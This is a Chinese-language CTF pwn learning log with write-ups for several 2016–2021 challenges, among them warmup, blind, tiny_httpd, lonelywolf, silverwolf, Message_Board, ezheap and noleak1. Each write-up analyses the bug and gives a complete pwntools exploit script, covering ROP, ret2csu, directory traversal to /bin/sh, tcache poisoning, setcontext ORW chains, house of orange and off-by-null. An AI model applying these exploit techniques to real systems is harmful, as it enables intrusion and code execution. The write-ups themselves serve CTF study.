前言 用来记录一些让我学到新东西的题,wp尽量详细,也是以一个日志的形式来记录学习过程
2021-11-21 0ctf 2016 warmup 附件
题目分析 这题的漏洞点比较明显,就是一个简单的栈溢出
这个题巧妙的地方就在于它的利用方式,这个题利用了alarm函数的性质: 如果在一次程序执行的过程中多次调用alarm函数,那么alarm就会返回前一个alarm从开始到现在还剩下多长时间,并且将这个值赋值给eax寄存器 。
利用这条性质我们就可以控制rax寄存器的值
那么题目的思路就比较显而易见了
由于程序中存在alarm(0xA)
,所以我们可以控制rax值为10一下的数,我们还知道32位中open的系统调用号为5,即我们可以控制eax的值为5来调用open函数,再配合程序中给出的read和write,我们就可以实现orw
解题步骤 Step1 将’./flag’字符串写入到data段上 1 2 3 4 5 6 7 8 9 payload1 = b'a' *0x20 payload1 += p32(sys_read) payload1 += p32(vuln) payload1 += p32(0 ) payload1 += p32(flag_addr) payload1 += p32(0x10 ) p.send(payload1) p.recvuntil("Good Luck!" ) p.send(b"./flag\x00" )
Step2 构造open(‘./flag’,0) 1 2 3 4 5 6 7 8 9 10 sleep(5 ) payload2 = b'a' *0x20 payload2 += p32(alarm) payload2 += p32(set_ebx_ecx_edx_int80) payload2 += p32(vuln) payload2 += p32(flag_addr) payload2 += p32(0 ) p.send(payload2) p.recvuntil("Good Luck!" )
Step3 read(3,flag,0x20) 1 2 3 4 5 6 7 payload3 = b'a' *0x20 payload3 += p32(sys_read) payload3 += p32(vuln) payload3 += p32(3 ) payload3 += p32(flag_addr+0x10 ) payload3 += p32(0x10 ) p.send(payload3)
Step4 write(1,flag,0x20) 1 2 3 4 5 6 7 8 p.recvuntil("Good Luck!" ) payload4 = b'a' *0x20 payload4 += p32(sys_write) payload4 += p32(0 ) payload4 += p32(1 ) payload4 += p32(flag_addr+0x10 ) payload4 += p32(0x10 ) p.send(payload4)
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *p = process('warmup' ) vuln = 0x0804815A sys_write = 0x08048135 sys_read = 0x0804811D set_ebx_ecx_edx_int80 = 0x08048122 alarm = 0x0804810D flag_addr = 0x080491BC payload1 = b'a' *0x20 payload1 += p32(sys_read) payload1 += p32(vuln) payload1 += p32(0 ) payload1 += p32(flag_addr) payload1 += p32(0x10 ) p.send(payload1) p.recvuntil("Good Luck!" ) p.send(b"./flag\x00" ) sleep(5 ) payload2 = b'a' *0x20 payload2 += p32(alarm) payload2 += p32(set_ebx_ecx_edx_int80) payload2 += p32(vuln) payload2 += p32(flag_addr) payload2 += p32(4 ) p.send(payload2) p.recvuntil("Good Luck!" ) payload3 = b'a' *0x20 payload3 += p32(sys_read) payload3 += p32(vuln) payload3 += p32(0 ) payload3 += p32(flag_addr+0x10 ) payload3 += p32(0x10 ) p.send(payload3) pause() p.recvuntil("Good Luck!" ) payload4 = b'a' *0x20 payload4 += p32(sys_write) payload4 += p32(0 ) payload4 += p32(1 ) payload4 += p32(flag_addr+0x10 ) payload4 += p32(0x10 ) p.send(payload4) p.interactive()
2021-11-22 [2021 西湖论剑]blind 附件
题目分析 这题的漏洞点比较明显,就是一个栈溢出
这题一开始看到想到的是去用syscall,然后没找到syscall又去现学ret2dlresolve来做,搞了半天没搞出来。赛后看师傅们的wp才知道可以用alarm_got去爆破出syscall。
可以看到syscall位于<alarm+9>
的位置,我们只要通过修改alarm的got表的低一位就可以得到syscall了,由于这里是本地的环境,我们可以通过调试来获得这个偏移,而由于我们没有远程环境的libc,这个偏移就需要去爆破了。
我们可以通过ret2csu来修改alarm_got的低位使其指向syscall,然后再利用read来控制rax寄存器为59,然后去执行59号系统调用execve(‘/bin/sh’,0,0)来getshell
解题步骤 Step1 ret2csu模板定义 ret2csu要注意的是,rdi为第一个参数的存放寄存器,rsi为第二个参数,rdx为第三个参数。(由于太久没用ret2csu了,导致寄存器搞错了而调了半天)
1 2 3 4 5 def csu (r12,rdx,rsi,rdi ): payload = p64(0x04007BA ) payload += p64(0 ) + p64(1 ) + p64(r12) + p64(rdi) + p64(rsi) +p64(rdx) + p64(0x04007A0 ) payload += b'a' *56 return payload
Step2 修改alarm_got 1 2 3 4 payload = b'a' *0x58 +csu(read_got,0 ,alarm_got,1 ) ······ p.send(b'\x19' )
Step3 执行59号系统调用 此时我们已经得到了syscall,那么接下来需要控制rax的值为59
这里又是一个我通过这道题学到的点:read函数会把rax的值赋值成输入的长度
那么只要控制我们的输入长度为59就能使rax的值为59
1 2 3 4 payload += csu(read_got,0 ,elf.bss(0x100 ),0x100 ) payload += csu(alarm_got,elf.bss(0x100 ),0 ,0 ) p.send(b'/bin/sh\x00' .ljust(59 ,b'\x00' ))
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *elf = ELF("blind" ) read_got = elf.got['read' ] alarm_got = elf.got['alarm' ] def csu (r12,rdx,rsi,rdi ): payload = p64(0x04007BA ) payload += p64(0 ) + p64(1 ) + p64(r12) + p64(rdi) + p64(rsi) +p64(rdx) + p64(0x04007A0 ) payload += b'a' *56 return payload def pwn (i ): try : p = process("blind" ) payload = b'a' *0x58 +csu(read_got,0 ,alarm_got,1 ) payload += csu(read_got,0 ,elf.bss(0x100 ),59 ) payload += csu(alarm_got,elf.bss(0x100 ),0 ,0 ) sleep(3 ) p.send(payload) sleep(0.5 ) p.send(chr (i)) print (chr (i)) sleep(0.5 ) p.send(b'/bin/sh\x00' .ljust(59 ,b'\x00' )) p.sendline("echo yay" ) s = p.recv(3 ) if s == b'yay' : p.sendline('cat flag' ) p.interactive() except : p.close() for i in range (0x100 ): pwn(i)
2021-11-23 [2021 湖湘杯] tiny_httpd 附件
这种类型的webpwn目前为止见过3次,第一次是在国赛决赛BF阶段(比赛中没抽到),第二次实在广东省强网杯个人赛的决赛题(当时群友分享的),第三次就是在今年的湖湘杯。
这类题大概就是用C实现一个建议的http服务器,这道题比较适合入门,这题的漏洞比较简单,代码量较少,同时也给出了源码。
题目分析 首先现在本地搭好环境,我用的是题目给出的dockerfile,当然也可以直接在Ubuntu 18 的系统上直接运行
环境起好之后可以本地访问到这样一个页面
接下来分析核心代码httpd.c
漏洞代码部分如下1 2 3 4 5 6 7 8 int len = strlen (path);for (i = 0 , j = 0 ; j < len;) { if (path[j] == '.' && path[j + 1 ] == '.' ) { j++; } path[i++] = path[j++]; } path[i++] = '\0' ;
我们只需要构造.../
就能完成目录穿越,去访问任意目录
我们再来看关于路径处理的部分1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 if (path[strlen (path) - 1 ] == '/' ) strcat (path, "index.html" ); if (stat(path, &st) == -1 ) { while ((numchars > 0 ) && strcmp ("\n" , buf)) numchars = get_line(client, buf, sizeof (buf)); not_found(client); } else { if ((st.st_mode & S_IFMT) == S_IFDIR) strcat (path, "/index.html" ); if ((st.st_mode & S_IXUSR) || (st.st_mode & S_IXGRP) || (st.st_mode & S_IXOTH) ) cgi = 1 ; if (!cgi) serve_file(client, path); else execute_cgi(client, path, method, query_string); } close(client);
分析发现当我们传入的路径是一个可执行文件,如/bin/sh
,那么就回去调用它
我们跟进到excute_cgi函数,这里只取一些关键的部分1 2 3 4 5 6 7 8 9 10 11 12 13 14 while ((numchars > 0 ) && strcmp ("\n" , buf)){ buf[15 ] = '\0' ; if (strcasecmp(buf, "Content-Length:" ) == 0 ) content_length = atoi(&(buf[16 ])); numchars = get_line(client, buf, sizeof (buf)); } if (content_length == -1 ) { bad_request(client); return ; }
通过审计发现我们必须要在header中传入指示body长度大小的参数Content-Length
,否则就会报错返回
这里去执行我们传入的路径1 execl(path, path, NULL );
同时如果我们传入的是POST
方法的话,就继续读 body 的内容,并写到 cgi_input 管道里让子进程去读1 2 3 4 5 if (strcasecmp(method, "POST" ) == 0 ) for (i = 0 ; i < content_length; i++) { recv(client, &c, 1 , 0 ); write(cgi_input[1 ], &c, 1 ); }
那么我们只需要利用目录穿越执行/bin/sh,同时再传入Content-Length
,就能去执行我们在body中传入的命令了
最后要注意下get_line函数中的一些规则1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 int get_line (int sock, char *buf, int size) { int i = 0 ; char c = '\0' ; int n; while ((i < size - 1 ) && (c != '\n' )) { n = recv(sock, &c, 1 , 0 ); if (n > 0 ) { if (c == '\r' ) { n = recv(sock, &c, 1 , MSG_PEEK); if ((n > 0 ) && (c == '\n' )) recv(sock, &c, 1 , 0 ); else c = '\n' ; } buf[i] = c; i++; } else c = '\n' ; } buf[i] = '\0' ; return (i); }
完整exp 1 2 3 4 5 6 7 8 9 10 11 from pwn import *p = remote('127.0.0.1' , 9999 ) body= "echo `cat flag` > ./htdocs/index.html\n" payload = "POST /.../.../.../.../bin/sh HTTP1.1\r\n" payload += "Content-Length: {}\r\n\n" .format (len (body)) payload += body p.sendline(payload) p.interactive()
2021-11-24 [CISCN 2021初赛]lonelywolf 附件
当时打初赛的时候还只是一个只会栈溢出的fw,做这道题相当于是补下题,同时也是为了做silverwolf的学习堆中的Srop坐下前置准备
题目分析 add 函数
让输入一个Index但是,这个index并没有什么卵用,我们从始至终都只能控制一个堆块,这很符合题意——独狼
同时控制了大小最大为0x78
delete 函数
存在UAF漏洞
既然我们只能控制一个堆块,那么我们就可以考虑去控制tcache结构体,修改tcache_count,将tcache释放到unsorted bin中去leak libc,最后再去劫持malloc_hook或free_hook来getshell
解题步骤 Step1 double free 得到堆地址 1 2 3 4 5 6 7 8 9 add(0 ,0x28 ) free(0 ) edit(0 ,p64(0 )*2 ) free(0 ) show(0 ) p.recvuntil("Content: " ) heap_base = u64(p.recv(6 ).ljust(8 ,b"\x00" ))-0x260 success("heap:" + hex (heap_base))
Step2 劫持tcache 我们可以先将当前堆块的fd指针指向tcache_fd
接下来再申请两次就能申请到tacahe,由于tcache chunk大小为0x250,那么我们就可以通过修改0x250大小的chunk的count为7,就能将tacahe释放到unsorted bin中来leak libc了1 2 3 4 5 6 7 8 9 10 edit(0 ,p64(heap_base+0x10 )) add(0 ,0x28 ) edit(0 ,p64(0 )*4 +p64(0x7000000 )) free(0 ) show(0 ) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) - 0x3ebca0 success("libc:" +hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ]
Step3 劫持free_hook 我们先来看下此时bins中的情况
这是因为由于tcache 被释放进unsorted bin后在原本这些tcache counts对应的地方被写入了main_arena_xx的地址,再加上我们最大只能申请0x78,如果我们用0x20 ~ 0x70的块来劫持free_hook的话就需要用到fastbin bin,那显然我们用0x80的chunk来tcache double free 劫持free_hook更加容易些。
1 2 3 4 5 6 7 8 9 add(0 ,0x78 ) free(0 ) edit(0 ,p64(free_hook)) add(0 ,0x78 ) add(0 ,0x78 ) edit(0 ,p64(system)) add(0 ,0x78 ) edit(0 ,b"/bin/sh\x00" ) free(0 )
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *p = process("lonelywolf" ) libc = ELF("libc-2.27.so" ) def choice (choice ): p.recvuntil("choice: " ) p.sendline(str (choice)) def add (index,size ): choice(1 ) p.recvuntil("Index: " ) p.sendline(str (index)) p.recvuntil("Size: " ) p.sendline(str (size)) def edit (index,content ): choice(2 ) p.recvuntil("Index: " ) p.sendline(str (index)) p.recvuntil("Content: " ) p.sendline(content) def show (index ): choice(3 ) p.recvuntil("Index: " ) p.sendline(str (index)) def free (index ): choice(4 ) p.recvuntil("Index: " ) p.sendline(str (index)) context.log_level = 'debug' add(0 ,0x28 ) free(0 ) edit(0 ,p64(0 )*2 ) free(0 ) show(0 ) p.recvuntil("Content: " ) heap_base = u64(p.recv(6 ).ljust(8 ,b"\x00" ))-0x260 success("heap:" + hex (heap_base)) edit(0 ,p64(heap_base+0x10 )) add(0 ,0x28 ) add(0 ,0x28 ) edit(0 ,p64(0 )*4 +p64(0x7000000 )) free(0 ) show(0 ) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) - 0x3ebca0 success("libc:" +hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] gdb.attach(p) add(0 ,0x78 ) free(0 ) edit(0 ,p64(free_hook)) add(0 ,0x78 ) add(0 ,0x78 ) edit(0 ,p64(system)) add(0 ,0x78 ) edit(0 ,b"/bin/sh\x00" ) free(0 ) p.interactive()
2021-11-25 [CISCN 2021 初赛]silverwolf 附件
题目分析 这道题是上到题的进阶版,在上一道题的基础上增加了一个沙盒
保护如下,要求只能使用orw,这意味着我们需要构造一条rop链来对flag文件进行读写
那么和之前不同,这道题需要将劫持free_hook
为 setcontext + 53
来调用我们的ROP链
setcontext+53 如下:
之所以会选择setcontext + 53
而不是setcontext
是因为fldenv[rcx]
指令会造成程序执行的时候直接crash,所以要避开这个指令。
利用setcontext + 53
我们可以直接去控制寄存器的值从而控制程序执行流,就类似于我们在SROP中伪造SigFrame来控制程序执行流一样。
接下来我们只需要在堆上布置好我们的rop链然后用setcontext
去调用执行就好了
解题步骤 Step1 leak libc 思路和上道题一模一样,唯一要注意的是在开启seccomp
以后seccomp_rule_add
和seccomp_load
函数会影响tcache 和 fastbin的风水,所以一开始的堆布局如下
在leak之前我们可以简单的恢复一下,以方便我们控制堆块1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 def clean (): for i in range (7 ): add(0 ,0x78 ) for i in range (12 ): add(0 ,0x18 ) for i in range (14 ): add(0 ,0x68 ) add(0 ,0x58 ) gdb.attach(p) clean() add(0 ,0x28 ) free(0 ) edit(0 ,p64(0 )*2 ) free(0 ) add(0 ,0x28 ) show(0 ) p.recvuntil("Content: " ) heap_base = u64(p.recv(6 ).ljust(8 ,b"\x00" )) & 0xFFFFFFFFFFFFF000 -0x1000 success("heap:" + hex (heap_base)) edit(0 ,p64(heap_base+0x10 )) add(0 ,0x28 ) add(0 ,0x28 ) edit(0 ,p64(0 )*4 +p64(0x7000000 )) free(0 ) show(0 ) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) - 0x3ebca0 success("libc:" +hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] setcontext = libc_base + libc.sym['setcontext' ] + 53
Step2 修改tcache control head 由于此时的tcache被释放进unsorted bin后在原本这些tcache counts对应的地方被写入了main_arena_96的地址,所以我们要先恢复tcache counts。
1 2 add(0 ,0x48 ) edit(0 ,p64(0 )*9 )
接下来需要申请到tcache control head
1 2 3 add(0x18 ) edit(0 ,p64(heap_base+0x50 )) add(0x30 )
最后修改tcache control head1 2 3 4 5 6 7 8 9 payload = p64(free_hook) payload += p64(heap_base + 0x2000 ) payload += p64(heap_base + 0x20a0 ) payload += p64(heap_base + 0x2000 ) payload += p64(heap_base + 0x1000 ) payload += p64(0 ) payload += p64(heap_base + 0x1000 +0x58 ) edit(0 ,payload)
这里要注意rop链的长度不能大于你可以控制的堆块的大小,这里我们最多可以写 0x58 + 0x68 + 0x78长度的链
Step3 构造rop链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 rop = p64(pop_rdi_ret)+p64(flag_addr) rop += p64(pop_rsi_ret)+p64(0 ) rop += p64(pop_rax_ret)+p64(2 ) rop += p64(syscall) rop += p64(pop_rdi_ret)+p64(3 ) rop += p64(pop_rsi_ret)+p64(flag_addr) rop += p64(pop_rdx_ret)+p64(0x30 ) rop += p64(pop_rax_ret)+p64(0 ) rop += p64(syscall) rop += p64(pop_rdi_ret)+p64(1 ) rop += p64(pop_rsi_ret)+p64(flag_addr) rop += p64(pop_rdx_ret)+p64(0x30 ) rop += p64(pop_rax_ret)+p64(1 ) rop += p64(syscall)
Step4 劫持free_hook getshell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 add(0 ,0x18 ) edit(0 ,p64(setcontext)) add(0 ,0x28 ) edit(0 ,b'./flag\x00\x00' ) add(0 ,0x38 ) edit(0 ,p64(heap_base + 0x1000 ) + p64(ret)) add(0 ,0x58 ) edit(0 ,rop[:0x58 ]) add(0 ,0x78 ) edit(0 ,rop[0x58 :]) add(0 ,0x48 ) free(0 )
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 from pwn import *p = process("silverwolf" ) libc = ELF("libc-2.27.so" ) def choice (choice ): p.recvuntil("choice: " ) p.sendline(str (choice)) def add (index,size ): choice(1 ) p.recvuntil("Index: " ) p.sendline(str (index)) p.recvuntil("Size: " ) p.sendline(str (size)) def edit (index,content ): choice(2 ) p.recvuntil("Index: " ) p.sendline(str (index)) p.recvuntil("Content: " ) p.sendline(content) def show (index ): choice(3 ) p.recvuntil("Index: " ) p.sendline(str (index)) def free (index ): choice(4 ) p.recvuntil("Index: " ) p.sendline(str (index)) def clean (): for i in range (7 ): add(0 ,0x78 ) for i in range (12 ): add(0 ,0x18 ) for i in range (14 ): add(0 ,0x68 ) add(0 ,0x58 ) clean() add(0 ,0x28 ) free(0 ) edit(0 ,p64(0 )*2 ) free(0 ) add(0 ,0x28 ) show(0 ) p.recvuntil("Content: " ) heap_base = u64(p.recv(6 ).ljust(8 ,b"\x00" )) & 0xFFFFFFFFFFFFF000 -0x1000 success("heap:" + hex (heap_base)) edit(0 ,p64(heap_base+0x10 )) add(0 ,0x28 ) add(0 ,0x28 ) edit(0 ,p64(0 )*4 +p64(0x7000000 )) free(0 ) show(0 ) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) - 0x3ebca0 success("libc:" +hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] setcontext = libc_base + libc.sym['setcontext' ] + 53 add(0 ,0x48 ) edit(0 ,p64(0 )*9 ) add(0 ,0x18 ) edit(0 ,p64(heap_base+0x50 )) add(0 ,0x38 ) payload = p64(free_hook) payload += p64(heap_base + 0x2000 ) payload += p64(heap_base + 0x20a0 ) payload += p64(heap_base + 0x2000 ) payload += p64(heap_base + 0x1000 ) payload += p64(0 ) payload += p64(heap_base + 0x1000 +0x58 ) edit(0 ,payload) pop_rax_ret = libc_base+0x0000000000043ae8 pop_rdi_ret = libc_base+0x00000000000215bf pop_rsi_ret = libc_base+0x0000000000023eea pop_rdx_ret = libc_base+0x0000000000001b96 ret = libc_base+0x0000000000023eeb open1 = libc_base + libc.sym['open' ] read = libc_base + libc.sym['read' ] write = libc_base + libc.sym['write' ] alarm = libc_base + libc.sym['alarm' ] syscall = alarm+0x5 flag_addr = heap_base+0x2000 rop = p64(pop_rdi_ret)+p64(flag_addr) rop += p64(pop_rsi_ret)+p64(0 ) rop += p64(pop_rax_ret)+p64(2 ) rop += p64(syscall) rop += p64(pop_rdi_ret)+p64(3 ) rop += p64(pop_rsi_ret)+p64(flag_addr) rop += p64(pop_rdx_ret)+p64(0x30 ) rop += p64(pop_rax_ret)+p64(0 ) rop += p64(syscall) rop += p64(pop_rdi_ret)+p64(1 ) rop += p64(pop_rsi_ret)+p64(flag_addr) rop += p64(pop_rdx_ret)+p64(0x30 ) rop += p64(pop_rax_ret)+p64(1 ) rop += p64(syscall) add(0 ,0x18 ) edit(0 ,p64(setcontext)) add(0 ,0x28 ) edit(0 ,b'./flag\x00\x00' ) add(0 ,0x38 ) edit(0 ,p64(heap_base + 0x1000 ) + p64(ret)) add(0 ,0x58 ) edit(0 ,rop[:0x58 ]) add(0 ,0x78 ) edit(0 ,rop[0x58 :]) add(0 ,0x48 ) free(0 ) p.interactive()
2021-11-26 [CISCN Final 2021 Day2]Message_Board 附件
这到题应该是Day2最简单的一道题,题目类型也是最近比较常见的webpwn,比较考研选手对栈溢出和对函数调用栈的过程的理解以及发现及利用漏洞的能力
题目分析 不同于大多数这种httpd的webpwn(如:湖湘杯的tiny_httpd,CISCN 的HMOS),通过目录穿越来造成漏洞,这道题将目录穿越限制的很死
题目的漏洞点在这里
如果message的最后一位不是|
的话,那么就会—n , 而n又是等于content_len的,content_len又是我们可控的,所以我们可以让content_len等于0,然后—n就会等于0xffffff,从而导致在fread的时候栈溢出,而且刚好也能通过content_len的大小的检查。
那么我们如何通过这个溢出来getshell或是获取flag呢?
首先如果我们想要getshell就需要泄露出地址,而在本程序中所有读写函数(如:fputs
)都是通过文件流去读写,这样使得我们难以泄露出地址,使得getshell变得十分困难
那么我们将思路转向读取flag,发现程序中有一个可以读取文件的函数
而且在程序流程中也有调用,且参数我们可控
那么我们将程序劫持到这里,然后设置[ebp+filename]的值为我们的文件名那我们就可以实现任意文件读取了
我们通过分析可以发现他会将我们输入的header存在bss段上的dest数组中,那么我们只需要将箭头指向的地方改为flag就可以去得到flag字符了
最后,由于这个题目用的是fread,由于我们这里的n过大,他会一直不停的读stdin,有没有办法让他停止呢。
这就是我通过这个题新学到的一个点(参考自wjh师傅的博客 ):
1.读入非常长的内容,直到 fgetc 传入的指针是错误的(超出栈空间,发生异常),这时候 fread 函数就会直接返回。
2.使用 sh.shutdown_raw(‘send’)来关闭输入管道,fread 函数就会返回,这个操作可见 VNCTF2021-WriteGiveFlag 这题的做法。
解题步骤 本题的exp比较简单,这里就说一下我解题的时候遇到的一些问题吧(主要是我自己蠢了)
当我把程序劫持到read_flag
时即0x80492BD的位置时,此时payload 如下,发现无法getshell1 payload = b'a' *padding + p64(flag_addr) + p64(read_flag)
然后动态调试发现
这里将ebp减了0x42c,所以要将flag_addr + 0x42c才能读到flag
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *elf = ELF('./httpd' ) sh = process('./httpd' ) context.log_level = "debug" read_file = 0x80492BD flag_addr = 0x0804C180 + 0x21 payload = b'POST /submit HTTP/1.1\r\n' payload += b'Content-Length: 0\r\n' payload += b'Cookie: Username=haruki;Messages=flag\r\n' payload += b'\r\n' payload += b'a' *0x829 payload += p32(flag_addr +0x42c ) payload += p32(read_file) sh.send(payload) sh.shutdown_raw('send' ) sh.interactive()
2021-11-27 今日由于参加几场线上赛(坐牢)以及一些特殊情况暂停更新。
2021-11-28 [安洵杯 2021]ezheap 附件
昨天打了三场比赛,还是感觉到了一些大比赛和小杯赛的差距,昨天axb拿了一个二血一个三血,春秋杯和NCTF直接坐牢,看来自己还是经不住考验,刚好这道题昨天学弟在问,就写个wp吧。
题目分析 这道题是目前比少见的2.23的堆了,属于是一个简单题了
程序一开始会直接送我们一个堆地址
漏洞点在edit函数这里,这里会重新输入一次size,可以造成堆溢出
同时题目中没有free函数,又告诉了我们堆地址同时又有个堆溢出,那么利用思路就比较明显了,直接house_of_orange打IO结构体。关于house_of_orange的原理及利用,我在这篇笔记 中也写得比较详细。
解题过程 Step1 get gift 1 2 3 p.recvuntil("0x" ) heap_base = int (p.recv(12 ),16 )-0x10 success("heap: " + hex (heap_base))
Step2 利用堆溢出修改top chunk的大小,将top chunk free 进入unsorted bin来leak libc 注意这里修改top chunk的时候要注意页对齐,比如说这里的top chunk的大小为0x20f91,linux分页是以0x1000为一页,那么我伪造的时候就要伪造top chunk的size为0xf91
1 2 3 4 5 6 7 8 9 payload = b'a' *0x40 +p64(0 )+p64(0xf91 ) edit(len (payload),payload) add(0x1000 ,b'b' ) add(0x400 ,b'c' ) show() libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b"\x00" ))-0x3b7a63 success("libc: " +hex (libc_base)) system_addr = libc_base + libc.sym['system' ] IO_list_all = libc_base + libc.symbols['_IO_list_all' ]
Step3 FSOP 这里具体怎么伪造IO_FILE以及为什么,我在这篇笔记 中也写的比较详细了
1 2 3 4 5 6 7 8 9 10 payload = b'a' *0x400 payload1 = b'/bin/sh\x00' + p64(0x60 ) payload1 += p64(0 )+p64(IO_list_all-0x10 ) payload1 += p64(0 )+p64(1 ) payload1 = payload1.ljust(0xc0 ,b'\x00' ) payload1 += p64(0 )*3 + p64(heap_base + 0x548 ) payload1 += p64(system_addr) payload = payload+payload1 edit(len (payload),payload)
这里值得说一下的是heap_base + 0x548
的这个点,这个0x548是通过动态调试计算出来的,一般等于你当前_chain
指向的的地址+0xc0,最终目的是将__overflow
覆盖成system
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *p = process("ezheap" ) libc = ELF("libc-2.23.so" ) def choice (choice ): p.recvuntil("Your choice : " ) p.sendline(str (choice)) def add (size,content ): choice(1 ) p.recvuntil("size of it" ) p.sendline(str (size)) p.recvuntil("Name?" ) p.sendline(content) def edit (size,content ): choice(2 ) p.recvuntil("size of it" ) p.sendline(str (size)) p.recvuntil("name" ) p.sendline(content) context.log_level = 'debug' def show (): choice(3 ) p.recvuntil("0x" ) heap_base = int (p.recv(12 ),16 )-0x10 success("heap: " + hex (heap_base)) add(0x40 ,'a' *0x40 ) gdb.attach(p) payload = b'a' *0x40 +p64(0 )+p64(0xf91 ) edit(len (payload),payload) add(0x1000 ,b'b' ) add(0x400 ,b'c' ) show() libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b"\x00" ))-0x3b7a63 success("libc: " +hex (libc_base)) system_addr = libc_base + libc.sym['system' ] IO_list_all = libc_base + libc.symbols['_IO_list_all' ] payload = b'a' *0x400 payload1 = b'/bin/sh\x00' + p64(0x60 ) payload1 += p64(0 )+p64(IO_list_all-0x10 ) payload1 += p64(0 )+p64(1 ) payload1 = payload1.ljust(0xc0 ,b'\x00' ) payload1 += p64(0 )*3 + p64(heap_base + 0x548 ) payload1 += p64(system_addr) payload = payload+payload1 edit(len (payload),payload) choice(1 ) p.recvuntil("size of it" ) p.sendline("0x20" ) p.interactive()
由于house_of_orange的利用方式不是很稳定所以可能要多试几次才能getshell。
2021-11-29 本周由于考试以及一些其它相关的杂事会停止更新下周一继续。
2021-11-30 [2021 安洵杯]noleak1 附件
虽然这周实验拉满,还要复习考试,但感觉一天不做题还是有点空虚,这里就写一简单的off by null(比赛中没看出来off by null还是太菜)
题目分析 secert函数
开局要先过一个加密函数,经逆向👴分析是个栅栏,解密得N0_py_1n_tHe_ct7
过了scerte之后就可以进入菜单了。
add函数中并没有限制申请堆块的大小,所以我们可以将一个大于0x420(tcache max)chunk释放进unsorted bin,再申请一个块然后通过残留的指针来泄露出libc
当时做到这里的时候我就卡住了,当时的思路是想这找一个地方去劫持free_hook的,但是没找到,赛后看wp才知道是off by null去实现chunk overlap。其实以前也做过相似的题,比赛的时候还是没有想到那个地方去,还是思考的少了。。。
关于off by null的具体原理以及分析可以看这篇博客 , 由于是wp所以不会讲太多的原理,只会讲一些具体的利用。
这里了我们构造3个chunk,3个chunk满足以下条件:
chunk1:size要大于tcache max也就是要大于0x420,这里是为了防止构造的chunk进入tcache而无法合并,如果限制了chunk的大小,那么一定要先填满tcache
chunk2:size要等于0xk8这里涉及到Glibc堆管理机制中空间复用,且为了方便后面tcache去劫持free_hook其他小不能大于tcache max
chunk3:要保证其的size域一定要是0x100的整倍数,且大小大于tcache max
先释放掉chunk1
,接下来,我们通过修改chunk3
的p_size
为chunk1+chunk2
就使得chunk1
,chunk2
合并,然后再将chunk2
释放进unsorted bin
中合并。此时的chunk2
处于释放状态,而我们仍然可控。接下来我们只需要将chunk2
再申请出来就能达到overlap
的效果,接下来劫持free_hook
对我们来说就轻而易举了。
解题步骤 Step1 secert 1 2 p.recvuntil("str:" ) p.send("N0_py_1n_tHe_ct7" )
Step2 leak 1 2 3 4 5 6 7 8 9 10 add(0 ,0x410 ) add(1 ,0x20 ) free(0 ) add(0 ,0x20 ) show(0 ) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' ))-0x3ec090 success("libc: " + hex (libc_base)) system = libc_base + libc.sym['system' ] free_hook = libc_base + libc.sym['__free_hook' ]
Step3 overlap 在这之前要先把unsorted bin清空1 2 3 4 5 6 7 8 9 10 11 12 13 add(0 ,0x3e0 ) add(0 ,0x420 ) add(1 ,0x78 ) add(2 ,0x4f0 ) add(3 ,0x18 ) free(0 ) edit(1 ,b'B' * 0x70 + p64(0x420 + 0x10 + 0x70 + 0x10 )) free(2 ) add(4 ,0x420 ) add(5 ,0x78 ) add(6 ,0x78 )
劫持free_hook 1 2 3 4 5 6 7 free(6 ) free(5 ) edit(1 ,p64(free_hook-8 )) add(7 ,0x78 ) add(8 ,0x78 ) edit(8 ,b'/bin/sh\x00' +p64(system)) free(8 )
